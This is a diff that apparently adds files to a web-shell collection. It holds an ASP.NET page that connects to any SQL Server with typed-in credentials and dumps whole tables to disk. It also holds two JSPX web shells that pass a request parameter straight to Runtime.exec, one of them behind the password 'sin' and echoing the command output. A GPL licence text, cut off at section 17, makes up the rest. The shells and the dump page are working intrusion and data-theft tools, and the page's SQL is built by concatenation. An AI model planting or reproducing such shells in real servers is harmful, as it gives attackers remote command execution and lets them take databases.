@@ -0,0 +1,307 @@
+<%@ Page Language="C#" %>
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<script runat="server">
+    protected void Button1_Click(object sender, EventArgs e)
+    {
+        string serverIP=txtServerIP.Text;
+        string database=txtDatabase.Text;
+        string user=txtUser.Text;
+        string pass=txtPass.Text;
+        string tableName=txtTableName.Text;
+        string colName=txtColName.Text;
+        string fileName=txtFileName.Text;
+        if (serverIP != null & database != null & user != null & pass != null & tableName != null & fileName != null)
+        {
+            
+            
+             string connectionString = "server="+serverIP+";database="+database+";uid="+user+";pwd="+pass;
+            System.Data.SqlClient.SqlConnection connection = new System.Data.SqlClient.SqlConnection(connectionString);
+            
+            try
+            {             
+           
+            connection.Open();
+            string sqlStr = "select * from "+tableName;
+            
+            if (colName!="")
+            {
+                sqlStr = "select " + colName + " from " + tableName;              
+                
+            }
+            
+            System.Data.DataSet ds = new System.Data.DataSet();
+            System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sqlStr, connection);
+            System.Data.SqlClient.SqlDataAdapter da = new System.Data.SqlClient.SqlDataAdapter(cmd);
+            da.Fill(ds);
+            System.Data.DataTable dataTable = ds.Tables[0];
+            if (dataTable.Rows.Count==0)
+            { 
+                lblInfo.Text = "没有需要导出的数据！";
+                lblInfo.ForeColor = System.Drawing.Color.Blue;
+                return;
+                
+            }
+            string filePath = System.IO.Path.GetDirectoryName(Server.MapPath("DataOutExl.aspx"))+"\\DataOut";
+            if (!System.IO.Directory.Exists(filePath))
+            {
+                System.IO.Directory.CreateDirectory(filePath);
+            }
+            bool outType = RadioButton1.Checked;
+            int sum = dataTable.Rows.Count;
+            int count = 1;
+            int size = 0;
+            int tmpNum = 1;
+                
+            if (txtNum.Text!="")
+            {
+                size = int.Parse(txtNum.Text);
+                count = sum / size+1;
+            }
+            for (int z = 0; z < count; z++)
+            {
+            Button1.Text = "正在导出..";
+            Button1.Enabled = false;
+            lblInfo.Text = "正在导出第"+(z+1)+"组数据，共"+count+"组数据";
+            lblInfo.ForeColor = System.Drawing.Color.Blue;  
+                
+            System.IO.StreamWriter file = new System.IO.StreamWriter(filePath+"\\" + (z+1) +"_"+fileName, false, Encoding.UTF8);
+                
+            bool isFirst = true;
+            if (outType)
+            {
+                
+           
+            file.Write(@"<html><head><meta http-equiv=content-type content='text/html; charset=UNICODE'>
+                        <style>*{font-size:12px;}table{background:#DDD;border:solid 2px #CCC;}td{background:#FFF;}
+                        .th td{background:#EEE;font-weight:bold;height:28px;color:#008;}
+                        div{border:solid 1px #DDD;background:#FFF;padding:3px;color:#00B;}</style>
+                        <title>Export Table</title></head><body>");
+                
+            file.Write("<table border='0' cellspacing='1' cellpadding='3'>");
+                
+            }
+                
+            for (int i = size*z; i < dataTable.Rows.Count; i++)
+            {
+                System.Data.DataRow dataRow = dataTable.Rows[i];
+                if (isFirst)
+                {
+                    if ( outType)
+                    {
+                        file.Write("<tr class='th'>");
+                    }
+                    
+                    for (int j = 0; j < dataTable.Columns.Count; j++)
+                    {
+                        if (outType)
+                        {
+                            file.Write("<td>");
+                        }
+                        
+                        file.Write(dataTable.Columns[j].ColumnName + "     ");
+                        
+                        if (outType)
+                        {
+                            file.Write("</td>");
+                        }
+                    }
+                    
+                    if (outType)
+                    {
+                        file.Write("</tr>");
+                    }
+                    
+                    isFirst = false;
+                }
+              
+                if (outType)
+                {
+                    file.Write("<tr>");
+                }
+                else
+                {
+                    file.WriteLine(" ");
+                }
+              
+                for (int k = 0; k < dataTable.Columns.Count; k++)
+                {
+                    if (outType)
+                    {
+                        file.Write("<td>");
+                    }
+                    file.Write(dataTable.Rows[i][k] + "     ");
+                    if (outType)
+                    {
+                        file.Write("</td>");
+                    }
+                }
+               
+                
+                if (outType)
+                {
+                    file.Write("<tr>");
+                }
+                else
+                {
+                    file.WriteLine(" ");
+                }
+             
+                if (tmpNum==size)                
+                    break;
+                              
+                tmpNum += 1;
+               
+            }
+                
+            if (outType)
+            {
+                file.Write("</table>");
+                file.Write("<br /><div>执行成功!返回" + tmpNum + "行</div>");
+                file.Write("</body></html>");
+            }
+            else
+            {
+                file.WriteLine("执行成功!返回" + tmpNum + "行!");
+            }
+                
+            file.Dispose();
+            file.Close();
+            tmpNum = 1;
+            }
+                
+                
+            lblInfo.Text = "导出成功！";
+            lblInfo.ForeColor = System.Drawing.Color.Blue;
+            Button1.Enabled = true;
+            Button1.Text = "开始导出";
+           
+            }
+            catch (Exception ex)
+            {
+                lblInfo.Text = "导出失败！" + ex.Message;
+                lblInfo.ForeColor = System.Drawing.Color.Red;
+               
+            }finally
+            {
+                connection.Close();
+            }
+                      
+        }
+        else
+        {
+            lblInfo.Text = "请先填写相关的连接信息！";
+            lblInfo.ForeColor = System.Drawing.Color.Red;
+        }
+    }
+</script>
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head runat="server">
+    <title>无标题页</title>
+    <style type="text/css">
+        .style1
+        {
+            width: 61%;
+        }
+        .style2
+        {
+            height: 23px;
+        }
+    </style>
+</head>
+<body>
+    <form id="form1" runat="server">
+    <div>
+    
+        <table class="style1">
+            <tr>
+                <td class="style2" colspan="2" align=center>
+                    SQL Server 数据导出&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
+                    By:<a href="http://hi.baidu.com/闪电小子_tysan">闪电小子</a></td>
+               
+            </tr>
+            <tr>
+                <td>
+                    服务器IP:</td>
+                <td>
+                    <asp:TextBox ID="txtServerIP" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    数据库：</td>
+                <td>
+                    <asp:TextBox ID="txtDatabase" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    用户名：</td>
+                <td>
+                    <asp:TextBox ID="txtUser" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    密码：</td>
+                <td>
+                    <asp:TextBox ID="txtPass" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    表名：</td>
+                <td>
+                    <asp:TextBox ID="txtTableName" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+             <tr>
+                <td>
+                    列名：</td>
+                <td>
+                    <asp:TextBox ID="txtColName" runat="server" Width="172px"></asp:TextBox>
+                &nbsp; 列名之间请用‘,’分开，不写代表全部</td>
+            </tr>
+             <tr>
+                <td>
+                    分组行数：</td>
+                <td>
+                    <asp:TextBox ID="txtNum" runat="server" Width="172px"></asp:TextBox>
+                    &nbsp; 对于数据多的时候可以使用</td>
+            </tr>
+            <tr>
+                <td>
+                    保存文件名：</td>
+                <td>
+                    <asp:TextBox ID="txtFileName" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    文件格式：</td>
+                <td>
+                    <asp:RadioButton ID="RadioButton1" runat="server" GroupName="type" Checked="true" Text="html" />
+                    &nbsp; &nbsp; &nbsp; &nbsp;
+                    <asp:RadioButton ID="RadioButton2" runat="server" GroupName="type" Text="txt" />
+                </td>
+            </tr>
+             <tr>
+                <td class="style2" colspan="2" align="center">
+                    <asp:Button ID="Button1" runat="server" Text="开始导出" onclick="Button1_Click" />
+                 </td>
+               
+            </tr>
+            <tr>
+                <td colspan="2">
+                    <asp:Label ID="lblInfo" runat="server" Text=""></asp:Label>
+                    </td>
+                
+            </tr>
+        </table>
+    
+    </div>
+    </form>
+</body>
+</html>

jspx/jjw.jspx

@@ -0,0 +1,6 @@
+<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"  version="1.2"> 
+<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> 
+<jsp:scriptlet> 
+Runtime.getRuntime().exec(request.getParameter("i")); 
+</jsp:scriptlet> 
+</jsp:root>

jspx/jw.jspx

@@ -0,0 +1,15 @@
+<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"  version="1.2"> 
+<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> 
+<jsp:scriptlet> 
+    if("sin".equals(request.getParameter("pwd"))){ 
+        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 
+        int a = -1; 
+        byte[] b = new byte[2048]; 
+        out.print("&lt;pre&gt;"); 
+        while((a=in.read(b))!=-1){ 
+            out.println(new String(b)); 
+        } 
+        out.print("&lt;/pre&gt;"); 
+    } 
+</jsp:scriptlet> 
+</jsp:root>

license

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
